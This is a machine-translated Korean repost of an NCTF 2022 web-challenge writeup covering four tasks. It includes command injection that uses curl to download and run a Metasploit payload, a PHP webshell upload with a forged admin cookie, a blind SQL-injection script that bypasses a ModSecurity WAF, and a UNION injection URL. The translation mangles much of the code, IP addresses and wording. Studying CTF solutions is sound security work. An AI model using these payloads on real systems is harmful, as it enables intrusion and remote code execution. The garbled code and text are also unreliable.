KoreanHackerTeam
Moderator
1.calc
질문 주소 : http://116.205.139.166:8001/오른쪽 클릭 /소스 소스 코드
@app.route ( '/calc', methods=[ 'get']))
def calc () :
ip=request.remote_addr
num=request.values.get ( 'num')
log='echo {0} {1} {2} ./tmp/log.txt'.format(time.strftime('UNY%M%M%D -%H%M%S', Time.localTime(), IP,NUM)
WAF (NUM) : 인 경우
try:
data=eval (num)
OS.System (로그)
:을 제외하고
통과하다
Return Str (데이터)
else:
반환 'waf !'
플라스크 오류는 WAF의 필터링 규칙을 보는 것으로보고 될 수 있습니다.
http://162.14.14.110.241:8050/calc? num []=
DEF WAF (S) :
BlackList=[ 'import', '(', ')', '#', '@', '^', '$', ',', '', '?', '' ',' ',' ','_ ','| ';'; ',' ',' ',' ',' ',' '', '}', '', '', '', 'os', 'os', 'system', 'system', 'subclasses', 'mro', 'args', 'Args', 'eval', 'subprocess', 'file', 'popen', '', 'popen', ''eval Buildins ','Compile ','execfile ','from_pyfile ','config ','local ','self ','item ','getitem ','getAttribute ','func_globals ','__ init __ ','join ','__ dict_ ']
flag=true
블랙리스트 :의 경우
s.lower () :의 No.Lower () 인 경우
flag=false
인쇄 (아니요)
부서지다
반환 플래그
시도한 후, 나는 NUM을 작동하고 %0A를 사용하여 다른 명령을 분리하고, 공간 대신 %09를 사용할 수 있음을 발견했습니다.
그런 다음 명령문은 Eval (Num)에 의해 정상적으로 실행되어야합니다. 그렇지 않으면 OS.System (log)으로 이동하지 않습니다. 해결책은 명령을 단일 따옴표로 래핑하는 것입니다.
/calc?num=%0A'Curl'%09'gtwq54.dnslog.cn'%0A
백 티크는 에코를 가져 오기가 쉽지 않기 때문에 Curl을 사용하여 페이로드를 다운로드하고 MSF로 온라인으로 이동합니다.
/calc?num=%0a'curl'%09'http://x.x.x.x.x.x.x.x.x.x:yyyy/testapp'%09'-o'%09'/tmp/testapp'%0A
/calc? num=%0a'chmod '%09'777'%09 '/tmp/testapp'%0a
/calc? num=%0a '/tmp/testapp'%0a

2.ez_php
질문 주소 : http://81.70.155.160/Ayacms github 주소
문제에는 많은 취약점이 있지만 배경/프론트 데스크에 로그인해야합니다.
배경 관리자는 약한 암호를 시도했지만 실패했지만 프론트 데스크는 등록 할 수 없습니다 .
그래서 코드 감사를 위해 소스 코드를 직접 다운로드 한 다음 대부분의 날을 보았습니다.
소스 코드의 많은 장소는 ( 'in_aya') 또는 종료 ( 'Access Denied'); 즉, 직접 액세스 할 수 없으며 IN_AYA 상수를 정의한 다른 PHP 파일을 통해 포함되거나 요구되어야합니다.
이러한 사고 방식은 파일에 포함 된 취약점을 찾는 것으로 전환됩니다.
나는 오랫동안 찾고 있었고 /aya/admin.inc.php에서 장소를 찾았습니다.

get_cookie는 AYA_ 접두사로 쿠키 값을 가져오고 해독은 해당 암호화 기능의 소스 코드를 찾을 수도 있습니다.
암호화 중 AYA_KEY는 기본값 AAA입니다
파일이 포함 된 후에는 아이디어가 훨씬 더 넓은 다음 알려진 취약점과 결합합니다.
유효 탑재량
? php
함수 무작위 ($ length=4, $ chars='abcdefghijklmnopqrstuvwxyz') {
$ hash='';
$ max=strlen ($ chars) -1;
for ($ i=0; $ i $ 길이; $ i ++) {
$ hash.=$ chars [mt_rand (0, $ max)];
}
return $ hash;
}
함수 kecrypt ($ txt, $ key) {
$ key=md5 ($ key);
$ len=strlen ($ txt);
$ ctr=0;
$ str='';
for ($ i=0; $ i $ len; $ i ++) {
$ ctr=$ ctr==32? 0: $ ctr;
$ str.=$ txt [$ i]^$ 키 [$ ctr ++];
}
Return $ str;
}
함수 암호화 ($ txt, $ key='') {
$ key 또는 $ key='aaa';
$ rnd=random (32);
$ len=strlen ($ txt);
$ ctr=0;
$ str='';
for ($ i=0; $ i $ len; $ i ++) {
$ ctr=$ ctr==32? 0: $ ctr;
$ str.=$ rnd [$ ctr]. ($ txt [$ i]^$ rnd [$ ctr ++]);
}
return str_replace ( '=', '', base64_encode (kecrypt ($ str, $ key)));
}
Echo encrypt ( './module/admin/fst_upload');
HTTP 패키지
post /aya/admin.inc.php http/1.1
호스트 : 81.70.155.160
컨텐츠 길이 : 244
CACHE-CONTROL3: MAX-AGE=0
업그레이드-보안 요청 : 1
Origin: NULL
컨텐츠 -TYPE: 멀티 파트/형태 데이터; 경계=--- WebKitFormBoundaryKHSD4WQ8ubmzcnd1
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Applewebkit/537.36 (Gecko와 같은 KHTML) Chrome/107.0.0.0 Safari/537.36 EDG/107.0.1418.62
accept: 텍스트/html, 응용 프로그램/xhtml+xml, application/xml; q=0.9, image/webp, image/apng,*/*; q=0.8, application/signed-exchange; v=b3; q=0.9
accept-encoding: gzip, deflate
허용 : ZH-CN, ZH; Q=0.9, en; q=0.8, en-gb; q=0.7, en-us; q=0.6
Cookie: aya_admin_lang=qwwpiaj9eitzzeeoqwtyofa0dcuamfttv2anpbulrmfnkbrmfteqg1zxtdfaaveyqymwda
Connection: 닫기
----- WebKitFormBoundaryKHSD4wq8ubmzcnd1
Content-Disposition: Form-Data; 이름='upfile'; filename='xzxz123123123.php'
Content-Type: 응용 프로그램/Octet-stream
? php eval ($ _ request [1]); phpinfo ();
----- WebKitFormBoundaryKHSD4wq8ubmzcnd1


3.ezbypass
힌트 힌트 waf는 Modsecurity입니다제목 주소 : http://162.14.110.24133608099/sql.php http://121.37.11.207:8099/sql.php
온라인에서 참조 기사를 찾았습니다

Bypassing ModSecurity WAF
Being able to bypass Web Application Firewall (WAF) depends on your knowledge about their behavior. Here is a cool technique th...
가져 오기 요청
수입 시간
flag=''
i=1
True:
최소=32
최대=127
Min Max:
Time.sleep (0.08)
Mid=(Min + Max) //2
인쇄 (chr (중간))
payload='if (ascii 1.e (substring (1.e (user.info), {}, 1)) {}, 1,0)'. 형식 (i, mid)
url='http://162.14.110.241:8099/sql.php? id={}'. 형식 (페이로드)
res=requests.get (url)
res.text:에서 'letian'인 경우
최소=중간 + 1
else:
MAX=MID
플래그 +=chr (min)
I +=1
print ( 'found', flag)

4.ez_sql
질문 주소 : http://81.70.155.16033603000/https:...ad/files/06b43b853452e30514edf6bd709b3f99.zip제목 설명은 소스 코드를 제공합니다
app.js
'https://deno.land/x/oak/mod.ts'에서 {application, router, helpers} import;
'./db.js'에서 항공편 수입;
const app=새 응용 프로그램 ();
const 라우터=새로운 라우터 ();
router.get ( '/', async (ctx)={
ctx.response.body='비행을 확인하십시오`/flight? id=`';
});
router.get ( '/flight', async (ctx)={
const id=helpers.getQuery (ctx, {mergeparams: true});
const info=await flight.select ({departure: '이탈', 대상 : '대상'}). 여기서 (id) .all ();
ctx.response.body=info;
});
app.use (router.routes ());
app.use (router.allowedMethods ());
app.listen ({port: 3000, hostname: '0.0.0.0'});
DB.JS
'https://deno.land/x/[email protected]/mod.ts'에서 {datatypes, database, model, sqlite3connector} import;
const 커넥터=새로운 sqlite3connector ({
filepath: '/tmp/flight.db'
});
const db=새로운 데이터베이스 (커넥터);
클래스 비행 확장 모델 {
정적 테이블='비행';
정적 필드={
ID: {PrimaryKey: True, AutoinCrement: True},
Department: Datatypes.string,
Destination: Datatypes.String,
};
}
클래스 플래그 확장 모델 {
정적 테이블='플래그';
정적 필드={
FLAG: DATATYPES.STRING,
};
}
db.link ([비행, 플래그]);
db.sync를 기다립니다 ({drop: true});
비행기를 기다립니다. 생성 ({{
부서 : '파리',
대상 3: '도쿄',
});
비행기를 기다립니다. 생성 ({{
부서 : '라스 베이거스',
대상 3: '워싱턴',
});
비행기를 기다립니다. 생성 ({{
부서 : '런던',
대상 3: '샌프란시스코',
});
깃발을 기다립니다.
flag: deno.env.get ( 'flag'),
});
기본 비행 수출
Hack.lu 2022 Foodapi와 거의 동일하며 참조 기사는 다음과 같습니다.

Hack. lu CTF 2022 筆記
被 web 題電得亂七八糟,基本上什麼都沒解出來。題目的品質都很不錯,學到很多新東西,值得記錄一下。 關鍵字: Electron relaunch to RCE 利用 Python decorator 執行程式碼 透過特殊檔名讓 Apache 不輸出 content type header GIF + JS polyglot 繞過 SQLite 不合法欄位名稱 JS 註解 <!-- su

그러나 기사에서 분석 된 원리를 살펴보면 아이디어가 매개 변수를 사용하여 SQL 문을 스플 라이스로 사용하는 것이라는 것을 알게 될 것입니다. 따라서 원래 페이로드를 모방하여 다른 get 쿼리로 전달하십시오.
http://81.70.155.155.160:3000/flight? id=1?=a` 및 0 Union Select 플래그, 2 플래그에서 2;

첨부 파일 다운로드 : https://github.com/x1ct34m/nctf2022
재 인쇄 된 원본 텍스트 : https://exp10it.cn/2022/12/nctf-2022-web-writeup/#calc